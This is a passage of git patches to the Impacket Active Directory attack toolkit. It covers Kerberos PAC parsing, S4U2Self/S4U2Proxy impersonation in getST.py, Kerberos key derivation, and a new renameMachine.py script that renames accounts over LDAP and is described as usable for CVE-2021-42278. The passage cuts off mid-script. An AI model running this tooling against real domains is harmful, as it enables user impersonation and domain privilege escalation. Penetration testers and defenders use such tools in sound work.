parsed_data['Logoff Time'] = PACparseFILETIME(kerbdata['LogoffTime']) parsed_data['Kickoff Time'] = PACparseFILETIME(kerbdata['KickOffTime']) parsed_data['Password Last Set'] = PACparseFILETIME(kerbdata['PasswordLastSet']) parsed_data['Password Can Change'] = PACparseFILETIME(kerbdata['PasswordCanChange']) parsed_data['Password Must Change'] = PACparseFILETIME(kerbdata['PasswordMustChange']) - # parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata.fields['LastSuccessfulILogon']) - # parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata.fields['LastFailedILogon']) - # parsed_data['FailedILogonCount'] = kerbdata['FailedILogonCount'] + parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata.fields['LastSuccessfulILogon']) + parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata.fields['LastFailedILogon']) + parsed_data['FailedILogonCount'] = kerbdata['FailedILogonCount'] parsed_data['Account Name'] = kerbdata['EffectiveName'] parsed_data['Full Name'] = kerbdata['FullName'] parsed_data['Logon Script'] = kerbdata['LogonScript'] @@ -254,25 +264,25 @@ def PACparseExtraSids(sid_and_attributes_array): for flag in User_Flags: if UserFlags & flag.value: User_Flags_Flags.append(flag.name) - parsed_data['User Flags'] = "(%s) %s" % (UserFlags, ", ".join(User_Flags_Flags)) - parsed_data['User Session Key'] = hexlify(kerbdata['UserSessionKey']).decode('utf-8') - parsed_data['Logon Server'] = kerbdata['LogonServer'] - parsed_data['Logon Domain Name'] = kerbdata['LogonDomainName'] - parsed_data['Logon Domain SID'] = PACparseSID(kerbdata['LogonDomainId']) + parsed_data['User Flags'] = "(%s) %s" % (UserFlags, ", ".join(User_Flags_Flags)) + parsed_data['User Session Key'] = hexlify(kerbdata['UserSessionKey']).decode('utf-8') + parsed_data['Logon Server'] = kerbdata['LogonServer'] + parsed_data['Logon Domain Name'] = kerbdata['LogonDomainName'] + parsed_data['Logon Domain SID'] = PACparseSID(kerbdata['LogonDomainId']) UAC = kerbdata['UserAccountControl'] UAC_Flags = [] for flag in UserAccountControl_Flags: if UAC & flag.value: UAC_Flags.append(flag.name) - parsed_data['User Account Control'] = "(%s) %s" % (UAC, ", ".join(UAC_Flags)) - parsed_data['Extra SID Count'] = kerbdata['SidCount'] - parsed_data['Extra SIDs'] = ', '.join([sid for sid in PACparseExtraSids(kerbdata.fields['ExtraSids'])]) + parsed_data['User Account Control'] = "(%s) %s" % (UAC, ", ".join(UAC_Flags)) + parsed_data['Extra SID Count'] = kerbdata['SidCount'] + parsed_data['Extra SIDs'] = ', '.join([sid for sid in PACparseExtraSids(kerbdata.fields['ExtraSids'])]) parsed_data['Resource Group Domain SID'] = PACparseSID(kerbdata.fields['ResourceGroupDomainSid']) - parsed_data['Resource Group Count'] = kerbdata['ResourceGroupCount'] - parsed_data['Resource Group Ids'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['ResourceGroupIds'])]) - # parsed_data['LMKey'] = hexlify(kerbdata['LMKey']).decode('utf-8') - # parsed_data['SubAuthStatus'] = kerbdata['SubAuthStatus'] - # parsed_data['Reserved3'] = kerbdata['Reserved3'] + parsed_data['Resource Group Count'] = kerbdata['ResourceGroupCount'] + parsed_data['Resource Group Ids'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['ResourceGroupIds'])]) + parsed_data['LMKey'] = hexlify(kerbdata['LMKey']).decode('utf-8') + parsed_data['SubAuthStatus'] = kerbdata['SubAuthStatus'] + parsed_data['Reserved3'] = kerbdata['Reserved3'] parsed_tuPAC.append({"LoginInfo": parsed_data}) elif infoBuffer['ulType'] == pac.PAC_CLIENT_INFO_TYPE: @@ -361,7 +371,7 @@ def PACparseExtraSids(sid_and_attributes_array): parsed_tuPAC.append({"DelegationInfo": parsed_data}) else: - logger.debug("Unsupported PAC structure: %s" % infoBuffer['ulType']) + logger.debug("Unsupported PAC structure: %s. Please raise an issue or PR" % infoBuffer['ulType']) buff = buff[len(infoBuffer):] return parsed_tuPAC From 37df0981316e3046b44a4beed2c0eff11360dbed Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 1 Nov 2021 15:23:16 +0100 Subject: [PATCH 017/163] Reverting ALL getST changes, wrong dev branch --- examples/getST.py | 191 +++++++++++++++++++++------------------------- 1 file changed, 87 insertions(+), 104 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index adb162aae..fa536ff1f 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -79,7 +79,6 @@ def __init__(self, target, password, domain, options): self.__force_forwardable = options.force_forwardable self.__additional_ticket = options.additional_ticket self.__saveFileName = None - self.__no_s4u2proxy = options.no_s4u2proxy if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') @@ -402,10 +401,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) - if self.__no_s4u2proxy and self.__options.spn is not None: - serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_UNKNOWN.value) - else: - serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) + serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) @@ -506,129 +502,120 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) # put it back in the TGS tgs['ticket']['enc-part']['cipher'] = cipherText - if self.__no_s4u2proxy: - cipherText = tgs['enc-part']['cipher'] - plainText = cipher.decrypt(sessionKey, 8, cipherText) - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] - return r, cipher, sessionKey, newSessionKey - else: - ################################################################################ - # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy - # So here I have a ST for me.. I now want a ST for another service - # Extract the ticket from the TGT - ticketTGT = Ticket() - ticketTGT.from_asn1(decodedTGT['ticket']) + ################################################################################ + # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy + # So here I have a ST for me.. I now want a ST for another service + # Extract the ticket from the TGT + ticketTGT = Ticket() + ticketTGT.from_asn1(decodedTGT['ticket']) - # Get the service ticket - ticket = Ticket() - ticket.from_asn1(tgs['ticket']) + # Get the service ticket + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) - apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - opts = list() - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticketTGT.to_asn1) + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticketTGT.to_asn1) - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = str(decodedTGT['crealm']) + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) - clientName = Principal() - clientName.from_asn1(decodedTGT, 'crealm', 'cname') + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') - seq_set(authenticator, 'cname', clientName.components_to_asn1) + seq_set(authenticator, 'cname', clientName.components_to_asn1) - now = datetime.datetime.utcnow() - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) - encodedAuthenticator = encoder.encode(authenticator) + encodedAuthenticator = encoder.encode(authenticator) - # Key Usage 7 - # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes - # TGS authenticator subkey), encrypted with the TGS session - # key (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator - encodedApReq = encoder.encode(apReq) + encodedApReq = encoder.encode(apReq) - tgsReq = TGS_REQ() + tgsReq = TGS_REQ() - tgsReq['pvno'] = 5 - tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) - tgsReq['padata'] = noValue - tgsReq['padata'][0] = noValue - tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) - tgsReq['padata'][0]['padata-value'] = encodedApReq + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq - # Add resource-based constrained delegation support - paPacOptions = PA_PAC_OPTIONS() - paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) + # Add resource-based constrained delegation support + paPacOptions = PA_PAC_OPTIONS() + paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) - tgsReq['padata'][1] = noValue - tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value - tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) + tgsReq['padata'][1] = noValue + tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value + tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) - reqBody = seq_set(tgsReq, 'req-body') + reqBody = seq_set(tgsReq, 'req-body') - opts = list() - # This specified we're doing S4U - opts.append(constants.KDCOptions.cname_in_addl_tkt.value) - opts.append(constants.KDCOptions.canonicalize.value) - opts.append(constants.KDCOptions.forwardable.value) - opts.append(constants.KDCOptions.renewable.value) + opts = list() + # This specified we're doing S4U + opts.append(constants.KDCOptions.cname_in_addl_tkt.value) + opts.append(constants.KDCOptions.canonicalize.value) + opts.append(constants.KDCOptions.forwardable.value) + opts.append(constants.KDCOptions.renewable.value) - reqBody['kdc-options'] = constants.encodeFlags(opts) - service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) - seq_set(reqBody, 'sname', service2.components_to_asn1) - reqBody['realm'] = self.__domain + reqBody['kdc-options'] = constants.encodeFlags(opts) + service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + seq_set(reqBody, 'sname', service2.components_to_asn1) + reqBody['realm'] = self.__domain - myTicket = ticket.to_asn1(TicketAsn1()) - seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) + myTicket = ticket.to_asn1(TicketAsn1()) + seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) - now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + now = datetime.datetime.utcnow() + datetime.timedelta(days=1) - reqBody['till'] = KerberosTime.to_asn1(now) - reqBody['nonce'] = random.getrandbits(31) - seq_set_iter(reqBody, 'etype', - ( - int(constants.EncryptionTypes.rc4_hmac.value), - int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), - int(constants.EncryptionTypes.des_cbc_md5.value), - int(cipher.enctype) - ) - ) - message = encoder.encode(tgsReq) + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = random.getrandbits(31) + seq_set_iter(reqBody, 'etype', + ( + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), + int(constants.EncryptionTypes.des_cbc_md5.value), + int(cipher.enctype) + ) + ) + message = encoder.encode(tgsReq) - logging.info('\tRequesting S4U2Proxy') - r = sendReceive(message, self.__domain, kdcHost) + logging.info('\tRequesting S4U2Proxy') + r = sendReceive(message, self.__domain, kdcHost) - tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - cipherText = tgs['enc-part']['cipher'] + cipherText = tgs['enc-part']['cipher'] - # Key Usage 8 - # TGS-REP encrypted part (includes application session - # key), encrypted with the TGS session key (Section 5.4.2) - plainText = cipher.decrypt(sessionKey, 8, cipherText) + # Key Usage 8 + # TGS-REP encrypted part (includes application session + # key), encrypted with the TGS session key (Section 5.4.2) + plainText = cipher.decrypt(sessionKey, 8, cipherText) - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] - return r, cipher, sessionKey, newSessionKey + return r, cipher, sessionKey, newSessionKey def run(self): @@ -697,7 +684,7 @@ def run(self): parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " "Service Ticket and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') - parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the ' + parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' 'service ticket will' ' be generated for') parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' ' for quering the ST. Keep in mind this will only work if ' @@ -706,7 +693,6 @@ def run(self): parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - parser.add_argument('-self', dest='no_s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy') parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' 'specified -identity should be provided. This allows impresonation of protected users ' @@ -733,9 +719,6 @@ def run(self): options = parser.parse_args() - if not options.no_s4u2proxy and options.spn is None: - parser.error("argument -spn is required, except when -self is set") - # Init the example's logger theme logger.init(options.ts) From 428e56ee68a41d2fc13702c439c50fe51e380e6d Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 1 Nov 2021 16:18:24 +0100 Subject: [PATCH 018/163] Debugging some keys calculation --- examples/describeTicket.py | 28 ++++++++++++++++------------ 1 file changed, 16 insertions(+), 12 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 18e627fdc..0541d85bf 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -399,29 +399,32 @@ def generate_kerberos_keys(args): ] # Calculate Kerberos keys from specified password/salt - if args.password or args.hexpass: + if args.password or args.hex_pass: if not args.salt and args.user and args.domain: # https://www.thehacker.recipes/ad/movement/kerberos if args.user.endswith('$'): args.salt = "%shost%s.%s" % (args.domain.upper(), args.user.rstrip('$').lower(), args.domain.lower()) else: args.salt = "%s%s" % (args.domain.upper(), args.user) for cipher in allciphers: - if cipher == 23 and args.hexpass: + if cipher == 23 and args.hex_pass: # RC4 calculation is done manually for raw passwords md4 = MD4.new() - md4.update(unhexlify(args.krbhexpass)) - ekeys[cipher] = Key(cipher, md4.digest().decode('utf-8')) - else: + md4.update(unhexlify(args.hex_pass)) + ekeys[cipher] = Key(cipher, md4.digest()) + logging.debug('Calculated type %s (%d) Kerberos key: %s' % (constants.EncryptionTypes(cipher).name, cipher, hexlify(ekeys[cipher].contents).decode('utf-8'))) + elif args.salt: # Do conversion magic for raw passwords - if args.hexpass: - rawsecret = unhexlify(args.krbhexpass).decode('utf-16-le', 'replace').encode('utf-8', 'replace') + if args.hex_pass: + rawsecret = unhexlify(args.hex_pass).decode('utf-16-le', 'replace').encode('utf-8', 'replace') else: # If not raw, it was specified from the command line, assume it's not UTF-16 rawsecret = args.password ekeys[cipher] = string_to_key(cipher, rawsecret, args.salt) - logging.debug('Calculated type %s (%d) Kerberos key: %s' % (constants.EncryptionTypes(cipher).name, cipher, hexlify(ekeys[cipher].contents).decode('utf-8'))) + logging.debug('Calculated type %s (%d) Kerberos key: %s' % (constants.EncryptionTypes(cipher).name, cipher, hexlify(ekeys[cipher].contents).decode('utf-8'))) + else: + logging.debug('Cannot calculate type %s (%d) Kerberos key: salt is None: Missing -s/--salt or (-u/--user and -d/--domain)' % (constants.EncryptionTypes(cipher).name, cipher)) else: - logging.debug('No password (-p/--password or -hp/--hexpass supplied, skipping Kerberos keys calculation') + logging.debug('No password (-p/--password or -hp/--hex_pass supplied, skipping Kerberos keys calculation') return ekeys @@ -481,7 +484,7 @@ def parse_args(): '(example: if the ticket is for user:"john" for service:"cifs/service.domain.local", you need to supply credentials or keys ' \ 'of the service account who owns SPN "cifs/service.domain.local")' ticket_decryption.add_argument('-p', '--password', action="store", metavar="PASSWORD", help='Cleartext password of the service account') - ticket_decryption.add_argument('-hp', '--hexpass', dest='hexpass', action="store", metavar="HEX PASSWORD", help='placeholder') + ticket_decryption.add_argument('-hp', '--hex-password', dest='hex_pass', action="store", metavar="HEXPASSWORD", help='Hex password of the service account') ticket_decryption.add_argument('-u', '--user', action="store", metavar="USER", help='Name of the service account') ticket_decryption.add_argument('-d', '--domain', action="store", metavar="DOMAIN", help='FQDN Domain') ticket_decryption.add_argument('-s', '--salt', action="store", metavar="SALT", help='Salt for keys calculation (DOMAIN.LOCALSomeuser for users, DOMAIN.LOCALhostsomemachine.domain.local for machines)') @@ -505,10 +508,11 @@ def parse_args(): if not args.salt: if args.user and not args.domain: parser.error('without -s/--salt, and with -u/--user, argument -d/--domain is required to calculate the salt') - parser.print_help() elif not args.user and args.domain: parser.error('without -s/--salt, and with -d/--domain, argument -u/--user is required to calculate the salt') - parser.print_help() + + if args.domain and not '.' in args.domain: + parser.error('Domain supplied in -d/--domain should be FQDN') return args From b4fbcf9196e9b6098edae0ae7794005d2e138ccd Mon Sep 17 00:00:00 2001 From: Shutdown Date: Fri, 10 Dec 2021 22:23:33 +0100 Subject: [PATCH 019/163] Added renameMachine.py --- examples/renameMachine.py | 363 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 363 insertions(+) create mode 100755 examples/renameMachine.py diff --git a/examples/renameMachine.py b/examples/renameMachine.py new file mode 100755 index 000000000..dd6f0dc8a --- /dev/null +++ b/examples/renameMachine.py @@ -0,0 +1,363 @@ +#!/usr/bin/env python3 +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Python script for modifying the sAMAccountName of an account (can be used for CVE-2021-42278) +# +# Authors: +# @snovvcrash +# Charlie Bromberg (@_nwodtuhs) +# + +import argparse +import logging +import sys +import traceback +import ldap3 +import ssl +import ldapdomaindump +from binascii import unhexlify +import os + +from impacket import version +from impacket.examples import logger, utils +from impacket.smbconnection import SMBConnection +from impacket.spnego import SPNEGO_NegTokenInit, TypesMech +from ldap3.utils.conv import escape_filter_chars + + +def get_machine_name(args, domain): + if args.dc_ip is not None: + s = SMBConnection(args.dc_ip, args.dc_ip) + else: + s = SMBConnection(domain, domain) + try: + s.login('', '') + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s' % domain) + else: + s.logoff() + return s.getServerName() + + +def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, + TGT=None, TGS=None, useCache=True): + from pyasn1.codec.ber import encoder, decoder + from pyasn1.type.univ import noValue + """ + logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. + :param string user: username + :param string password: password for the user + :param string domain: domain where the account is valid for (required) + :param string lmhash: LMHASH used to authenticate using hashes (password is not used) + :param string nthash: NTHASH used to authenticate using hashes (password is not used) + :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication + :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) + :param struct TGT: If there's a TGT available, send the structure here and it will be used + :param struct TGS: same for TGS. See smb3.py for the format + :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False + :return: True, raises an Exception if error. + """ + + if lmhash != '' or nthash != '': + if len(lmhash) % 2: + lmhash = '0' + lmhash + if len(nthash) % 2: + nthash = '0' + nthash + try: # just in case they were converted already + lmhash = unhexlify(lmhash) + nthash = unhexlify(nthash) + except TypeError: + pass + + # Importing down here so pyasn1 is not required if kerberos is not used. + from impacket.krb5.ccache import CCache + from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set + from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS + from impacket.krb5 import constants + from impacket.krb5.types import Principal, KerberosTime, Ticket + import datetime + + if TGT is not None or TGS is not None: + useCache = False + + if useCache: + try: + ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) + except Exception as e: + # No cache present + print(e) + pass + else: + # retrieve domain information from CCache file if needed + if domain == '': + domain = ccache.principal.realm['data'].decode('utf-8') + logging.debug('Domain retrieved from CCache: %s' % domain) + + logging.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME')) + principal = 'ldap/%s@%s' % (target.upper(), domain.upper()) + + creds = ccache.getCredential(principal) + if creds is None: + # Let's try for the TGT and go from there + principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) + creds = ccache.getCredential(principal) + if creds is not None: + TGT = creds.toTGT() + logging.debug('Using TGT from cache') + else: + logging.debug('No valid credentials found in cache') + else: + TGS = creds.toTGS(principal) + logging.debug('Using TGS from cache') + + # retrieve user information from CCache file if needed + if user == '' and creds is not None: + user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8') + logging.debug('Username retrieved from CCache: %s' % user) + elif user == '' and len(ccache.principal.components) > 0: + user = ccache.principal.components[0]['data'].decode('utf-8') + logging.debug('Username retrieved from CCache: %s' % user) + + # First of all, we need to get a TGT for the user + userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + if TGT is None: + if TGS is None: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, + aesKey, kdcHost) + else: + tgt = TGT['KDC_REP'] + cipher = TGT['cipher'] + sessionKey = TGT['sessionKey'] + + if TGS is None: + serverName = Principal('ldap/%s' % target, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, + sessionKey) + else: + tgs = TGS['KDC_REP'] + cipher = TGS['cipher'] + sessionKey = TGS['sessionKey'] + + # Let's build a NegTokenInit with a Kerberos REQ_AP + + blob = SPNEGO_NegTokenInit() + + # Kerberos + blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] + + # Let's extract the ticket from the TGS + tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + # Now let's build the AP_REQ + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = [] + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = domain + seq_set(authenticator, 'cname', userName.components_to_asn1) + now = datetime.datetime.utcnow() + + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 11 + # AP-REQ Authenticator (includes application authenticator + # subkey), encrypted with the application session key + # (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + blob['MechToken'] = encoder.encode(apReq) + + request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', + blob.getData()) + + # Done with the Kerberos saga, now let's get into LDAP + if connection.closed: # try to open connection if closed + connection.open(read_server_info=False) + + connection.sasl_in_progress = True + response = connection.post_send_single_response(connection.send('bindRequest', request, None)) + connection.sasl_in_progress = False + if response[0]['result'] != 0: + raise Exception(response) + + connection.bound = True + + return True + +def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): + user = '%s\\%s' % (domain, username) + if tls_version is not None: + use_ssl = True + port = 636 + tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version) + else: + use_ssl = False + port = 389 + tls = None + ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) + if args.k: + ldap_session = ldap3.Connection(ldap_server) + ldap_session.bind() + ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip) + elif args.hashes is not None: + ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True) + else: + ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True) + + return ldap_server, ldap_session + + +def init_ldap_session(args, domain, username, password, lmhash, nthash): + if args.k: + target = get_machine_name(args, domain) + else: + if args.dc_ip is not None: + target = args.dc_ip + else: + target = domain + + if args.use_ldaps is True: + try: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash) + except ldap3.core.exceptions.LDAPSocketOpenError: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash) + else: + return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash) + + +def parse_identity(args): + domain, username, password = utils.parse_credentials(args.identity) + + if domain == '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: + from getpass import getpass + logging.info("No credentials supplied, supply password") + password = getpass("Password:") + + if args.aesKey is not None: + args.k = True + + if args.hashes is not None: + lmhash, nthash = args.hashes.split(':') + else: + lmhash = '' + nthash = '' + + return domain, username, password, lmhash, nthash + + +def init_logger(args): + # Init the example's logger theme and debug level + logger.init(args.ts) + if args.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) + + +def parse_args(): + parser = argparse.ArgumentParser(add_help=True, description='Python script for modifying the sAMAccountName of an account (can be used for CVE-2021-42278)') + parser.add_argument('identity', action='store', help='domain.local/username[:password]') + parser.add_argument("-current-name", type=str, required=True, help="sAMAccountName of the object to edit") + parser.add_argument("-new-name", type=str, required=True, help="New sAMAccountName to set for the target object") + parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", + help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') + group = parser.add_argument_group('connection') + group.add_argument('-dc-ip', action='store', metavar="ip address", + help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If ' + 'omitted it will use the domain part (FQDN) specified in ' + 'the identity parameter') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + return parser.parse_args() + + +def get_user_info(samname, ldap_session, domain_dumper): + ldap_session.search(domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) + try: + dn = ldap_session.entries[0].entry_dn + return dn + except IndexError: + logging.error('Machine not found in LDAP: %s' % samname) + return False + + +def main(): + print(version.BANNER) + args = parse_args() + init_logger(args) + + domain, username, password, lmhash, nthash = parse_identity(args) + if len(nthash) > 0 and lmhash == "": + lmhash = "aad3b435b51404eeaad3b435b51404ee" + + ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) + + cnf = ldapdomaindump.domainDumpConfig() + cnf.basepath = None + domain_dumper = ldapdomaindump.domainDumper(ldap_server, ldap_session, cnf) + operation = ldap3.MODIFY_REPLACE + attribute = 'sAMAccountName' + dn = get_user_info(args.current_name, ldap_session, domain_dumper) + + if not dn: + logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)') + return + try: + logging.info('Modifying attribute (%s) of object 